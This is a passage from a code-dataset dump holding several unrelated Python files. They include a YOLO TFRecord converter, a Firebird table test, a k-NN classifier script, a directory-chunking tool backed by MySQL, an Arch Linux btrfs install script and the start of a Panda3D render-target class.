int(x_center / float(raw_w) * float(grid_w))\n grid_y = int(y_center / float(raw_h) * float(grid_h))\n \n return grid_x, grid_y\n\n# 获得confidence = 1 的anchor. 其余的anchor的confidence都是0. YOLO3 中还有第三类\n# 若果要改造成 YOLO3,需要改这个函数\ndef get_active_anchors(roi, anchors):\n indxs = []\n iou_max, index_max = 0, 0\n for i, a in enumerate(anchors):\n # 5 种 anchor的循环,而不是关于图像中 所有anchor的循环\n # 只求形状大小匹配,位置不要求\n iou = iou_wh(roi[2:], a)\n if iou > iou_th:\n indxs.append(i)\n if iou > iou_max:\n iou_max, index_max = iou, i\n \n if len(indxs) == 0:\n # 实在没有形状匹配的就选相对最好的,总之得选一个,V3就不是这样\n indxs.append(index_max)\n \n return indxs\n\n\n\ndef read_csv_file(filename):\n filenames = []\n rois = []\n with open(filename) as csvfile:\n i = ['filename', 'rois', 'classes']\n csvdata = csv.DictReader(csvfile)\n for row in csvdata:\n filenames.append(row['filename'])\n rois.append(row['rois'])\n \n return filenames, rois\n\n\ndef roi2label(roi, anchor, raw_w, raw_h, grid_w, grid_h):\n x_center = roi[0] + roi[2] / 2.0\n y_center = roi[1] + roi[3] / 2.0\n \n grid_x = x_center / float(raw_w) * float(grid_w)\n grid_y = y_center / float(raw_h) * float(grid_h)\n \n grid_x_offset = grid_x - int(grid_x)\n grid_y_offset = grid_y - int(grid_y)\n \n roi_w_scale = roi[2] / anchor[0]\n roi_h_scale = roi[3] / anchor[1]\n \n label = [grid_x_offset, grid_y_offset, roi_w_scale, roi_h_scale]\n \n return label\n\n\ndef onehot(idx, num):\n ret = np.zeros([num], dtype=np.float32)\n ret[idx] = 1.0\n \n return ret\n\n\n# ---------------------------------------------------------------------------\n# ---------------------------------------------------------------------------\n# ---------------------------------------------------------------------------\n\ndef make_example(filename, rois, anchors):\n n_anchors = np.shape(anchors)[0]\n \n # [roi_num,4] eval 用来计算字符串表达式\n rois = np.array(eval(rois), dtype=np.float32)\n \n img = cv2.imread(filename)\n raw_h = np.shape(img)[0]\n raw_w = np.shape(img)[1]\n img = cv2.resize(img, (in_w, in_h))\n \n label = np.zeros([grid_h, grid_w, n_anchors, 5], dtype=np.float32)\n \n for roi in rois:\n # roi [4,] cls [1,]\n # IOU larger than threshold, or the highest\n active_indxs = get_active_anchors(roi, anchors)\n grid_x, grid_y = get_grid_cell(roi, raw_w, raw_h, grid_w, grid_h)\n \n for active_indx in active_indxs:\n anchor_label = roi2label(roi, anchors[active_indx], raw_w, raw_h, grid_w, grid_h)\n # label 的格式是 [grid_y, grid_x, n_anchors*5]\n label[grid_y, grid_x, active_indx] = np.concatenate((anchor_label, [1.0]))\n \n image_raw = img.tostring()\n label_raw = label.tostring()\n \n example = tf.train.Example(features=tf.train.Features(feature={\n 'label': tf.train.Feature(bytes_list=tf.train.BytesList(value=[label_raw])),\n 'image': tf.train.Feature(bytes_list=tf.train.BytesList(value=[image_raw]))}))\n return example\n\n\ndef _process_image_files_batch(thread_index, ranges, name, csv_filenames, csv_rois,\n num_shards):\n \"\"\"Processes and saves list of images as TFRecord in 1 thread.\n \n Args:\n coder: instance of ImageCoder to provide TensorFlow image coding utils.\n thread_index: integer, unique batch to run index is within [0, len(ranges)).\n ranges: list of pairs of integers specifying ranges of each batches to\n analyze in parallel.\n name: string, unique identifier specifying the data set\n filenames: list of strings; each string is a path to an image file\n num_shards: integer number of shards for this data set.\n \"\"\"\n # Each thread produces N shards where N = int(num_shards / num_threads).\n # For instance, if num_shards = 128, and the num_threads = 2, then the first\n # thread would produce shards [0, 64).\n num_threads = len(ranges)\n assert not num_shards % num_threads\n num_shards_per_batch = int(num_shards / num_threads)\n # 对 thread range 进行进一步的拆分,每个thread 负责多个 shard\n shard_ranges = np.linspace(ranges[thread_index][0],\n ranges[thread_index][1],\n num_shards_per_batch + 1).astype(int)\n num_files_in_thread = ranges[thread_index][1] - ranges[thread_index][0]\n anchors = read_anchors_file(FLAGS.anchors_path)\n \n counter = 0\n for s in range(num_shards_per_batch):\n # Generate a sharded version of the file name, e.g. 'train-00002-of-00010'\n shard = thread_index * num_shards_per_batch + s\n output_filename = '%s-%.5d-of-%.5d' % (name, shard, num_shards)\n output_file = os.path.join(FLAGS.output_directory, output_filename)\n writer = tf.python_io.TFRecordWriter(output_file)\n \n shard_counter = 0\n files_in_shard = np.arange(shard_ranges[s], shard_ranges[s + 1], dtype=int)\n for i in files_in_shard:\n filename = csv_filenames[i]\n rois = csv_rois[i]\n \n example = make_example(filename, rois, anchors)\n writer.write(example.SerializeToString())\n shard_counter += 1\n counter += 1\n \n if not counter % 1000:\n print('%s [thread %d]: Processed %d of %d images in thread batch.' %\n (datetime.now(), thread_index, counter, num_files_in_thread))\n sys.stdout.flush()\n \n writer.close()\n print('%s [thread %d]: Wrote %d images to %s' %\n (datetime.now(), thread_index, shard_counter, output_file))\n sys.stdout.flush()\n shard_counter = 0\n print('%s [thread %d]: Wrote %d images to %d shards.' %\n (datetime.now(), thread_index, counter, num_files_in_thread))\n sys.stdout.flush()\n\n\ndef _process_image_files():\n \"\"\"Process and save list of images as TFRecord of Example protos.\n \"\"\"\n name = FLAGS.base_name\n csv_filenames, csv_rois = read_csv_file(FLAGS.csv_path)\n \n # Break all images into batches with a [ranges[i][0], ranges[i][1]].\n spacing = np.linspace(0, len(csv_filenames), FLAGS.num_threads + 1).astype(np.int)\n ranges = []\n # ranges records the index range in imageset for particular thread to deal with\n for i in range(len(spacing) - 1):\n ranges.append([spacing[i], spacing[i + 1]])\n \n # Launch a thread for each batch.\n print('Launching %d threads for spacings: %s' % (FLAGS.num_threads, ranges))\n sys.stdout.flush()\n \n # Create a mechanism for monitoring when all threads are finished.\n coord = tf.train.Coordinator()\n \n threads = []\n for thread_index in range(len(ranges)):\n args = (thread_index, ranges, name, csv_filenames, csv_rois, FLAGS.train_shards)\n t = threading.Thread(target=_process_image_files_batch, args=args)\n t.start()\n threads.append(t)\n \n # Wait for all the threads to terminate.\n coord.join(threads)\n print('%s: Finished writing all %d images in data set.' %\n (datetime.now(), len(csv_filenames)))\n sys.stdout.flush()\n\nif __name__ == \"__main__\":\n \n _process_image_files()\n","sub_path":"make_tfrecord.py","file_name":"make_tfrecord.py","file_ext":"py","file_size_in_byte":9062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"637622751","text":"#coding:utf-8\n\n\"\"\"\nID: table.alter-07\nTITLE: ALTER TABLE - ALTER - POSITION\nDESCRIPTION:\nFBTEST: functional.table.alter.07\n\"\"\"\n\nimport pytest\nfrom firebird.qa import *\n\ninit_script = \"\"\"CREATE TABLE test( id INTEGER NOT NULL,\n text VARCHAR(32));\ncommit;\n\"\"\"\n\ndb = db_factory(init=init_script)\n\ntest_script = \"\"\"ALTER TABLE test ALTER text POSITION 1;\nSHOW TABLE test;\n\"\"\"\n\nact = isql_act('db', test_script)\n\nexpected_stdout = \"\"\"TEXT VARCHAR(32) Nullable\nID INTEGER Not Null\n\"\"\"\n\n@pytest.mark.version('>=3.0')\ndef test_1(act: Action):\n act.expected_stdout = expected_stdout\n act.execute()\n assert act.clean_stdout == act.clean_expected_stdout\n","sub_path":"tests/functional/table/alter/test_07.py","file_name":"test_07.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"389516985","text":"import numpy as np\nfrom sklearn import preprocessing , neighbors, model_selection\n#replace cross_validation\nimport pandas as pd\n\n\n#exec(open(\"C:\\\\Users\\\\danie\\\\Documents\\\\intern\\\\systex\\\\applying_k_nearest_algorithm_with_breast_data.py\").read())\n\n#id is not useful in k nearest neighbors\naccuracies = []\n\nfor i in range(25):\n df = pd.read_csv('C:\\\\Users\\\\danie\\\\Documents\\\\intern\\\\systex\\\\breast-cancer-wisconsin.data')\n df.replace('?', -99999, inplace = True)\n df.drop(['id'], 1, inplace=True)\n\n x = np.array(df.drop(['class'],1))\n y = np.array(df['class'])\n\n x_train, x_test, y_train, y_test = model_selection.train_test_split(x,y, test_size=0.2)\n\n clf = neighbors.KNeighborsClassifier(n_jobs=1)\n clf.fit(x_train, y_train)\n\n accuracy = clf.score(x_test, y_test)\n #print(accuracy)\n\n #example_measures = np.array([[4,2,1,1,1,2,3,2,1],[4,2,1,2,2,2,3,2,1]])\n #example_measures = example_measures.reshape(len(example_measures),-1)#len() not doing it in hard code way\n\n #prediction = clf.predict(example_measures)\n #print(prediction)\n\naccuracies.append(accuracy)\nprint(accuracies)\n","sub_path":"applying_k_nearest_algorithm_with_breast_data.py","file_name":"applying_k_nearest_algorithm_with_breast_data.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"360591343","text":"#! /usr/bin/env python3\n# -*- coding:utf-8 -*-\n\nfrom ..config import *\n\nSERVER = f'http://api.{DOMAIN}'\n\nAPI_ARRANGE = f'{SERVER}/admin/arrange'\n\nURI_PROD_APP = 'productapplication'\nURI_FACTOR = 'factor'\nURI_FACTOR_APP = 'factorapplicationrelation'\nURI_DB_TABLE = 'databasetable'\nURI_THIRD_SVC = 'thirdservice'\nURI_USER = 'userinfo'\n\nURIS = {\n URI_PROD_APP: '产品应用',\n URI_FACTOR: '因子',\n URI_FACTOR_APP: '因子-产品应用关系',\n URI_DB_TABLE: '数据库表',\n URI_THIRD_SVC: '三方服务',\n URI_USER: '用户'\n}\nURI_ENUM = tuple(URIS.keys())\n\nERROR_ELEMENT_CLASSES = ('errorlist', 'alert')\n","sub_path":"web/models/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"472193989","text":"import os\n\nimport time\nimport operator\n\nimport numpy as np\nimport networkx as nx\n\nfrom icebergs.models import Directory, File, Chunk, mysql_db\nfrom icebergs.utils import file_size\nfrom icebergs.config import log\n\n\n\nclass ChunkCreator(object):\n\n def __init__(self, root_dir, chunk_size=5*(1024**3)):\n self.root_dir = root_dir\n self.chunk_size = chunk_size\n self.g = nx.DiGraph()\n self.new_files = list()\n self.new_files_size = 0\n\n # build a graph of directories given the root directory\n q = Directory.select().where((Directory.name == self.root_dir) & (Directory.root_id == -1))\n if q.count() == 0:\n rd = Directory()\n rd.name = self.root_dir\n rd.root_id = -1\n rd.parent_id = -1\n rd.save()\n else:\n rd = q.first()\n\n self.root_id = rd.id\n self.g.add_node(self.root_id, name=self.root_dir)\n\n # get the list of sub-directories known in the database, add them as nodes in the graph\n log.info('Reading directory structure for database...')\n stime = time.time()\n dir_data = list()\n for d in Directory.select().where(Directory.root_id == self.root_id):\n dir_data.append((d.id, d.parent_id, d.name))\n self.g.add_node(d.id, name=d.name)\n etime = time.time() - stime\n log.info('Took %d seconds' % etime)\n\n # connect the directories together\n for dir_id,parent_id,dir_name in dir_data:\n self.g.add_edge(parent_id, dir_id)\n\n # clean up unnecessary stuff\n del dir_data\n\n def get_directory_map(self):\n \"\"\" Create a dictionary that maps a Directory id to a full path on the filesystem.\"\"\"\n\n dmap = dict()\n def _map_node(_node_id, _the_path):\n _p = os.path.join(_the_path, self.g.node[_node_id]['name'])\n dmap[_node_id] = _p\n for _child_node_id in self.g.successors(_node_id):\n _map_node(_child_node_id, _p)\n\n _map_node(self.root_id, self.root_dir)\n return dmap\n\n def sync(self):\n \"\"\" Walk the directories, starting at the root node, and ensures the filesystem tree is fully mapped out\n in the graph self.g and sync'ed to the database\n \"\"\"\n log.info('Syncing directories with database...')\n stime = time.time()\n self.sync_dir(self.root_id, self.root_dir)\n etime = time.time() - stime\n log.info('Took %d seconds' % etime)\n\n # walk each directory again and make sure the files are in sync, identifying new files\n log.info('Syncing files with database...')\n stime = time.time()\n self.find_new_files(self.root_id, self.root_dir)\n etime = time.time() - stime\n log.info('Took %d seconds' % etime)\n\n def sync_dir(self, node_id, path):\n\n for dir_name in os.listdir(path):\n\n full_fpath = os.path.join(path, dir_name)\n if os.path.islink(full_fpath):\n #skip symbolic links\n continue\n\n if not os.path.isdir(full_fpath):\n continue\n\n # get the node id corresponding to this subdirectory\n dir_id = None\n for n in self.g.successors(node_id):\n if self.g.node[n]['name'] == dir_name:\n dir_id = n\n break\n\n # create a database entry for the directory if it doesn't exist\n if dir_id is None:\n log.debug('Encountered new directory at %s' % full_fpath)\n d = Directory()\n d.name = dir_name\n d.parent_id = node_id\n d.root_id = self.root_id\n d.save()\n dir_id = d.id\n self.g.add_node(dir_id, name=dir_name)\n self.g.add_edge(node_id, dir_id)\n\n # recursively call the function for the subdirectory\n self.sync_dir(dir_id, full_fpath)\n\n def find_new_files(self, node_id, path):\n\n # get a list of files for this path from the database\n all_files = dict()\n for f in File.select().where(File.directory == node_id):\n all_files[f.name] = f.file_size\n\n # sync files in the current directory\n for fname in os.listdir(path):\n try:\n full_fpath = os.path.join(path, fname)\n except UnicodeDecodeError:\n log.info('File is non-ascii!')\n log.info('path=%s' % path)\n log.info('fname=%s' % fname)\n continue\n\n if os.path.islink(full_fpath):\n #skip symbolic links\n continue\n\n if not os.path.isfile(full_fpath):\n continue\n\n add_file = False\n current_size = file_size(full_fpath)\n # check to see if this file has been chunked\n if fname not in all_files:\n add_file = True\n else:\n # check current file size against recorded file size\n old_size = all_files[fname]\n if old_size != current_size:\n add_file = True\n\n if add_file:\n self.new_files.append( (node_id, fname, current_size))\n self.new_files_size += current_size\n\n if self.new_files_size >= self.chunk_size:\n self.chunk_new_files()\n\n # sync files in the subdirectories\n for dir_id in self.g.successors(node_id):\n dir_name = self.g.node[dir_id]['name']\n full_fpath = os.path.join(path, dir_name)\n self.find_new_files(dir_id, full_fpath)\n\n def chunk_new_files(self):\n\n\n there_are_chunks_left = True\n\n while there_are_chunks_left:\n\n # sort the new files list by size, least to greatest\n self.new_files.sort(key=operator.itemgetter(-1))\n\n # compute the cumulative file sizes\n fsize_csum = np.cumsum([x[-1] for x in self.new_files])\n\n # print 'fsize_csum='\n # print fsize_csum\n\n # find the index where the chunk size is met or exceeded\n i = fsize_csum >= self.chunk_size\n # print 'i.sum()=%d' % i.sum()\n if i.sum() == 0:\n there_are_chunks_left = False\n break\n\n chunk_end_index = np.where(i)[0].min()\n chunk_size = fsize_csum[chunk_end_index]\n\n # print 'chunk_end_index=%d, chunk_size=%d, max_chunk_size=%d, len(new_files)=%d' % (chunk_end_index, chunk_size, self.chunk_size, len(self.new_files))\n\n # create a chunk for the new files\n chunk = Chunk()\n chunk.uncompressed_size = chunk_size\n chunk.save()\n\n # make database entries in bulk for new files\n num_bulk_entries = 1000\n index = 0\n while index < len(self.new_files):\n ninserts = min(num_bulk_entries, chunk_end_index - index + 1)\n end_index = index + ninserts\n\n # create list to contain new inserts\n file_data = list()\n for k in range(index, end_index):\n dir_id,fname,fsize = self.new_files[k]\n file_data.append({'chunk':chunk.id, 'directory':dir_id, 'name':fname, 'file_size':fsize})\n\n # make bulk database insert\n with mysql_db.atomic():\n File.insert_many(file_data).execute()\n\n del file_data\n index = end_index\n\n log.info(\"Created chunk %d of size %0.2fGB with %d files\" % (chunk.id, chunk.uncompressed_size/(1024.0**3), len(self.new_files)))\n\n # clear the list of new files\n self.new_files = self.new_files[(chunk_end_index+1):]\n self.new_files_size = np.sum([x[-1] for x in self.new_files])\n","sub_path":"icebergs/chunk_creator.py","file_name":"chunk_creator.py","file_ext":"py","file_size_in_byte":7914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"268356543","text":"import os\nimport sys\nimport json\nfrom itertools import chain\n\n\npartition='/dev/nvme0n1p3'\ndistro='arch'\nmount_point='/mnt'\nroot_json_file='btrfs_template.json'\nuser_json_file='btrfs_user.json'\nusers=['pro'],\nboot_partition='/dev/nvme0n1p1'\n\nHOSTNAME='archpad'\nLOCALE='en_DK-UTF8 UTF-8'\nLANG='en-US.UTF-8'\nREGION='Europe'\nCITY='Copenhagen'\nKERNEL='linux-lts'\nKERNEL_HEADERS='linux-lts-headers'\n\n\n\npacstrap_packages = ' '.join([\n 'base',\n KERNEL,\n KERNEL_HEADERS,\n 'linux-firmware',\n 'git',\n 'base-devel',\n 'btrfs-progs',\n 'bash-autocomplete'\n])\n\n\n\nchroot_packages = ' '.join([\n KERNEL_HEADERS,\n 'git',\n 'refind',\n 'base-devel',\n 'btrfs-progs',\n 'iw',\n 'gptfdisk',\n 'zsh',\n 'vim',\n 'nvim',\n 'terminus-font'\n])\n\n\n\nMKINITCPIO_CONFIG = [\n 'MODULES=(btrfs)',\n 'BINARIES=()',\n 'FILES=()',\n 'HOOKS=(base udev autodetect modconf block encrypt filesystems keyboard fsck)'\n]\n\n\n\nREFIND_CONFIG = '\\n'.join([\n 'timeout 20',\n 'also_scan_dirs +,@/'\n])\n\n\n\ndef main(\n partition,\n):\n rootvol = f'@{distro}'\n print(f'Creating {distro} btrfs system on {partition}.')\n \n # Read and parse subvolume json template files.\n with open(root_json_file) as f:\n raw_root_subvolumes = json.load(f)\n \n with open(user_json_file) as f:\n raw_user_subvolumes = json.load(f)\n\n root_subvolumes = eval_raw_subvolumes(raw_root_subvolumes, DISTRO=distro)\n users_subvolumes = []\n for user in users:\n user_subvolumes = eval_raw_subvolumes(raw_user_subvolumes, DISTRO=distro, USER=user)\n users_subvolumes.extend(user_subvolumes)\n \n subvolumes = list(chain(root_subvolumes, users_subvolumes))\n\n # Create subvolumes.\n #print(subvolumes)\n os.system(f'mkfs.btrfs -f {partition}')\n os.system(f'mount {partition} {mount_point}') \n \n for sub in subvolumes:\n n = sub['subvolume_name']\n os.system(f'btrfs subvolume create {mount_point}/{n}')\n \n # Mount subvolumes.\n os.system(f'umount {mount_point}')\n for sub in subvolumes:\n opt_subvol = sub['subvolume_name']\n opt_additional = sub['mount_options']\n opt_mount_point = f'{mount_point}/{sub[\"mount_point\"]}'\n o = f'mount -t btrfs -o x-mount.mkdir,{opt_additional},subvol={opt_subvol} {partition} {opt_mount_point}'\n print(o)\n os.system(o)\n \n # Mount boot partition.\n os.system(f'mount -o x-mount.mkdir {boot_partition} {mount_point}/boot')\n\n # Pacstrap\n os.system(f'pacstrap {mount_point} {pacstrap_packages}') \n \n # Generate filesystem table.\n os.system(f'genfstab -U -p {mount_point} >> {mount_point}/etc/fstab')\n\n # Chroot into system.\n os.system(f'arch-chroot {mount_point}')\n exit(0)\n # Set localization\n os.system(f'echo {LOCALE} >> /etc/locale.gen')\n os.system(f'locale-gen')\n os.system(f'echo \"LANG={LANG}\" >> /etc/locale.conf')\n os.system(f'ln -sf /usr/share/zoneinfo/{REGION}/{CITY} /etc/localtime')\n \n # Host config\n os.system(f'echo \"{HOSTNAME}\" > /etc/hostname')\n os.system(f'echo \"127.0.1.1 {HOSTNAME}.localdomain {HOSTNAME} >> /etc/hosts')\n \n # Install packages.\n os.system(f'pacman -Syyy')\n os.system(f'pacman -Syu {chroot_packages}')\n \n\n # Make initial cpio.\n os.system(f'cp /etc/mkinitcpio.conf /etc/mkinitcpio.conf.bak')\n \n for line in MKINITCPIO_CONFIG:\n os.system(f'echo {line} >> /etc/mkinitcpio.conf')\n \n os.system('mkinitcpio -p {KERNEL}')\n\n # Install boot loader.\n os.system('refind-install {boot_partition} --alldrivers')\n os.system('cp /boot/EFI/refind/refind.conf /boot/EFI/refind/refind.conf.bak')\n\n # ...\n print(\"Almost done...\")\n\n\n return 0\n\n\n\ndef eval_raw_subvolumes(raw_subvolumes, **context):\n subvolumes = []\n for rawsub in raw_subvolumes:\n sub = {}\n for k,v in rawsub.items():\n sub[k] = eval(f'f\"{v}\"', context)\n subvolumes.append(sub)\n\n return subvolumes\n\n\"\"\"\n@rch\t\t\t\t\t :/\n@rch/home\t\t\t\t :/home\n@rch/home/pro\t\t\t\t :/home/pro\n@rch/home/pro/Documents\t\t:/home/pro/Documents\n@rch/home/pro/Downloads\t\t:/home/pro/Downloads\n@rch/home/pro/data\t\t\t:/home/pro/data\n@rch/home/pro/cache\t\t\t:/home/pro/.cache\n@rch/var_log\t\t\t\t:/var/log\n@rch/var_cache\t\t\t\t:/var/cache\n@rch/snapshots\t\t\t\t:/.snapshots\n@rch/home/pro/snapshots\t\t:/home/pro/.snapshots\n@rch/home/pro/Documents/snapshots\t:/home/pro/Documents/.snapshots\n\"\"\"\n\nif __name__=='__main__':\n import argparse\n\n ap = argparse.ArgumentParser(\n description=\"Create Linux btrfs file system layout.\"\n )\n\n ap.add_argument('partition', type=str)\n ap.add_argument('-d', '--distro', type=str)\n ap.add_argument('-m', '--mount-point', dest='mount_point', type=str, required=1)\n ap.add_argument('-r', '--root-subvols', dest='root_template', type=str)\n ap.add_argument('-u', '--user-subvols', dest='user_template', type=str)\n ap.add_argument('-U', '--users', type=str, nargs='*')\n ap.add_argument('-b', '--boot-partition', dest='boot_partition', type=str)\n parsed = ap.parse_args()\n\n exit(main(\n partition=parsed.partition,\n ))\n","sub_path":"arch_install.py","file_name":"arch_install.py","file_ext":"py","file_size_in_byte":5248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"372103869","text":"\nfrom panda3d.core import GraphicsOutput, CardMaker, OmniBoundingVolume\nfrom panda3d.core import AuxBitplaneAttrib, NodePath, OrthographicLens\nfrom panda3d.core import Camera, Vec4, TransparencyAttrib, StencilAttrib\nfrom panda3d.core import ColorWriteAttrib, DepthWriteAttrib\nfrom RenderBuffer import RenderBuffer\nfrom RenderTargetType import RenderTargetType\nfrom DebugObject import DebugObject\nfrom Globals import Globals\nfrom GUI.BufferViewerGUI import BufferViewerGUI\n\n\nclass RenderTarget(DebugObject):\n\n \"\"\" This is a high level interface for creating buffers\n and render-to-textures. It internally wraps arround RenderBuffer\n but also takes care of sorting and clearing, and especially\n setting up the scene rendering when using render-to-texture.\n\n After creating a RenderTarget, you have to add targets with\n addRenderTexture, with target beeing RenderTargetType.XXX. There\n are shortcuts for this like addColorTexture and addDepthTexture.\n\n When not setting a size, the size will be the size of the specified\n window (set with setSource, default is base.win). Using setSize(-1, -1)\n has the same effect.\n\n Then you can either call prepareSceneRender(), which will render\n the scene of the sourceCam (set with setSource, default is base.cam)\n to the buffer, or call prepareOffscreenBuffer(), which will just\n create an offscreen buffer.\n\n A sample setup might look like this:\n\n target = RenderTarget(\"My Fancy Target\")\n\n # This adds RenderTargetType.Color and RenderTargetType.Depth\n target.addColorAndDepth()\n\n # This adds RenderTargetType.Aux0 and RenderTargetType.Aux1\n target.addAuxTextures(2)\n target.setAuxBits(16)\n target.setColorBits(16)\n target.setDepthBits(32)\n target.setSize(-1, -1) # can be omitted\n target.prepareSceneRender()\n\n \"\"\"\n\n def __init__(self, name=\"DefaultRT\"):\n \"\"\" Creates a new RenderTarget with the given name. Use a\n descriptive name as it will show with this name in pstats \"\"\"\n DebugObject.__init__(self, \"RenderTarget\")\n self._targetFlags = {}\n self._bindMode = GraphicsOutput.RTMBindOrCopy\n self._depthbits = 8\n self._buffer = None\n self._quad = None\n self._sourceCam = Globals.base.cam\n self._sourceWindow = Globals.base.win\n self._width = -1\n self._height = -1\n self._name = name\n self._colorBits = 8\n self._auxBits = 8\n self._region = self._findRegionForCamera()\n self._enableTransparency = False\n self._layers = 0\n self._writeColor = True\n self._multisamples = 0\n self._engine = Globals.base.graphicsEngine\n self._active = False\n self._useTextureArrays = False\n self._haveColorAlpha = True\n self._rename(name)\n\n self.mute()\n\n def setHaveColorAlpha(self, color_alpha):\n \"\"\" Sets wheter the color buffer has an alpha channel or not \"\"\"\n self._haveColorAlpha = color_alpha\n\n def setUseTextureArrays(self, state=True):\n \"\"\" Makes the render buffer use a 2D texture array when rendering \n layers. Otherwise a 3D Texture is choosen \"\"\"\n self._useTextureArrays = state\n\n def setMultisamples(self, samples):\n \"\"\" Sets the amount of multisamples to use \"\"\"\n self._multisamples = samples\n\n def setEngine(self, engine):\n \"\"\" Sets the graphic engine to use \"\"\"\n self._engine = engine\n\n def setLayers(self, layers):\n \"\"\" Sets the number of layers. When greater than 1, this enables\n rendering to a texture array \"\"\"\n self._layers = layers\n if layers > 1:\n self._bindMode = GraphicsOutput.RTMBindLayered\n\n def setName(self, name):\n \"\"\" Sets the buffer name to identify in pstats \"\"\"\n self._name = name\n\n def setEnableTransparency(self, enabled=True):\n \"\"\" Sets wheter objects can be transparent in this buffer \"\"\"\n self._enableTransparency = enabled\n\n def setSize(self, width, height=None):\n \"\"\" Sets the buffer size in pixels. -1 means as big\n as the current window \"\"\"\n self._width = width\n\n if height is None:\n height = width\n\n self._height = height\n\n def setColorWrite(self, write):\n \"\"\" Sets wheter to write color \"\"\"\n self._writeColor = write\n\n def setColorBits(self, colorBits):\n \"\"\" Sets the required color bits \"\"\"\n self._colorBits = colorBits\n\n def setAuxBits(self, auxBits):\n\n self._auxBits = auxBits\n\n def setDepthBits(self, bits):\n \"\"\" Sets the required depth bits \"\"\"\n self._depthbits = bits\n\n def setShaderInput(self, *args):\n \"\"\" This is a shortcut for setting shader inputs of the buffer \"\"\"\n self.getQuad().setShaderInput(*args)\n\n def setShader(self, shader):\n \"\"\" This is a shortcut for setting shaders to the buffer \"\"\"\n self.getQuad().setShader(shader)\n\n def getColorTexture(self):\n \"\"\" Returns the handle to the color texture \"\"\"\n return self.getTexture(RenderTargetType.Color)\n\n def getDepthTexture(self):\n \"\"\" Returns the handle to the depth texture \"\"\"\n return self.getTexture(RenderTargetType.Depth)\n\n def getInternalBuffer(self):\n \"\"\" Returns the internal buffer object \"\"\"\n return self._buffer.getInternalBuffer()\n\n def getInternalRegion(self):\n \"\"\" Returns the internal display region, e.g. if you need to set\n custom sort values \"\"\"\n return self.getInternalBuffer().getDisplayRegion(0)\n\n def getAuxTexture(self, index=0):\n \"\"\" Returns the n-th aux texture, starting at 0 \"\"\"\n assert(index < 4)\n auxTextures = [\n RenderTargetType.Aux0,\n RenderTargetType.Aux1,\n RenderTargetType.Aux2,\n RenderTargetType.Aux3\n ]\n return self.getTexture(auxTextures[index])\n\n def setSource(self, sourceCam, sourceWin, region=None):\n \"\"\" Sets source window and camera. When region is None, it will\n be set automatically (highly recommended!!) \"\"\"\n self._sourceCam = sourceCam\n self._sourceWindow = sourceWin\n self._region = region\n\n def setBindModeLayered(self, layered=True):\n \"\"\" When rendering layered, you have to call this. This\n sets the internal bind mode for the RenderBuffer \"\"\"\n if layered:\n self._bindMode = GraphicsOutput.RTMBindLayered\n else:\n self._bindMode = GraphicsOutput.RTMBindOrCopy\n\n def addRenderTexture(self, ttype):\n \"\"\" Lower level function to add a new target. ttype should be\n a RenderTargetType \"\"\"\n if ttype in self._targetFlags:\n self.error(\"You cannot add another type of\", ttype)\n return False\n\n self.debug(\"Adding render texture: \", ttype)\n self._targetFlags[ttype] = None\n\n def addColorTexture(self):\n \"\"\" Adds a color target \"\"\"\n return self.addRenderTexture(RenderTargetType.Color)\n\n def addDepthTexture(self):\n \"\"\" Adds a depth target \"\"\"\n return self.addRenderTexture(RenderTargetType.Depth)\n\n def addColorAndDepth(self):\n \"\"\" Adds a color and depth target \"\"\"\n self.addColorTexture()\n self.addDepthTexture()\n\n def addAuxTextures(self, num):\n \"\"\" Adds n aux textures. num should be between 1 and 4 \"\"\"\n assert(num > 0 and num <= 4)\n targets = [\n RenderTargetType.Aux0,\n RenderTargetType.Aux1,\n RenderTargetType.Aux2,\n RenderTargetType.Aux3,\n ]\n\n for i in range(num):\n self.addRenderTexture(targets[i])\n\n def hasTarget(self, target):\n \"\"\" Check if a target is assigned to this target \"\"\"\n return target in self._targetFlags\n\n def hasAuxTextures(self):\n \"\"\" Wheter this target has at least 1 aux texture attached \"\"\"\n return self.hasTarget(RenderTargetType.Aux0)\n\n def hasColorTexture(self):\n \"\"\" Wheter this target has a color texture attached \"\"\"\n return self.hasTarget(RenderTargetType.Color)\n\n def hasDepthTexture(self):\n \"\"\" Wheter this target has a depth texture attached \"\"\"\n return self.hasTarget(RenderTargetType.Depth)\n\n def _createBuffer(self):\n \"\"\" Internal method to create the buffer object \"\"\"\n wantedX = self._sourceWindow.getXSize(\n ) if self._width < 1 else self._width\n wantedY = self._sourceWindow.getYSize(\n ) if self._height < 1 else self._height\n\n self.debug(\"Creating buffer of size\", wantedX, \"x\", wantedY)\n\n self._buffer = RenderBuffer()\n self._buffer.setName(\"[FBO] \" + self._name)\n self._buffer.setSize(wantedX, wantedY)\n self._buffer.setWindow(self._sourceWindow)\n self._buffer.setColorBits(self._colorBits)\n self._buffer.setAuxBits(self._auxBits)\n self._buffer.setDepthBits(self._depthbits)\n self._buffer.setBindMode(self._bindMode)\n self._buffer.setLayers(self._layers)\n self._buffer.setMultisamples(self._multisamples)\n self._buffer.setEngine(self._engine)\n self._buffer.setHaveColorAlpha(self._haveColorAlpha)\n\n for flag in self._targetFlags.keys():\n self._buffer.addTarget(flag)\n\n if not self._buffer.create():\n self.error(\"Failed to create buffer. Damned.\")\n return False\n\n if self._region is None:\n self._region = self._buffer.getInternalBuffer().makeDisplayRegion()\n\n def getRegion(self):\n \"\"\" Returns the display region of this target. You can use\n this to set custom clears \"\"\"\n return self._region\n\n def prepareSceneRender(self):\n \"\"\" Renders the scene of the source camera to the buffer. See the\n documentation of this class for further information \"\"\"\n\n self.debug(\"Preparing scene render\")\n\n # Init buffer object\n self._createBuffer()\n\n # Prepare fullscreen quad\n self._quad = self._makeFullscreenQuad()\n\n # Prepare initial state\n cs = NodePath(\"InitialStateDummy\")\n cs.setState(self._sourceCam.node().getInitialState())\n if self.hasTarget(RenderTargetType.Aux0):\n cs.setAttrib(AuxBitplaneAttrib.make(self._auxBits), 20)\n\n 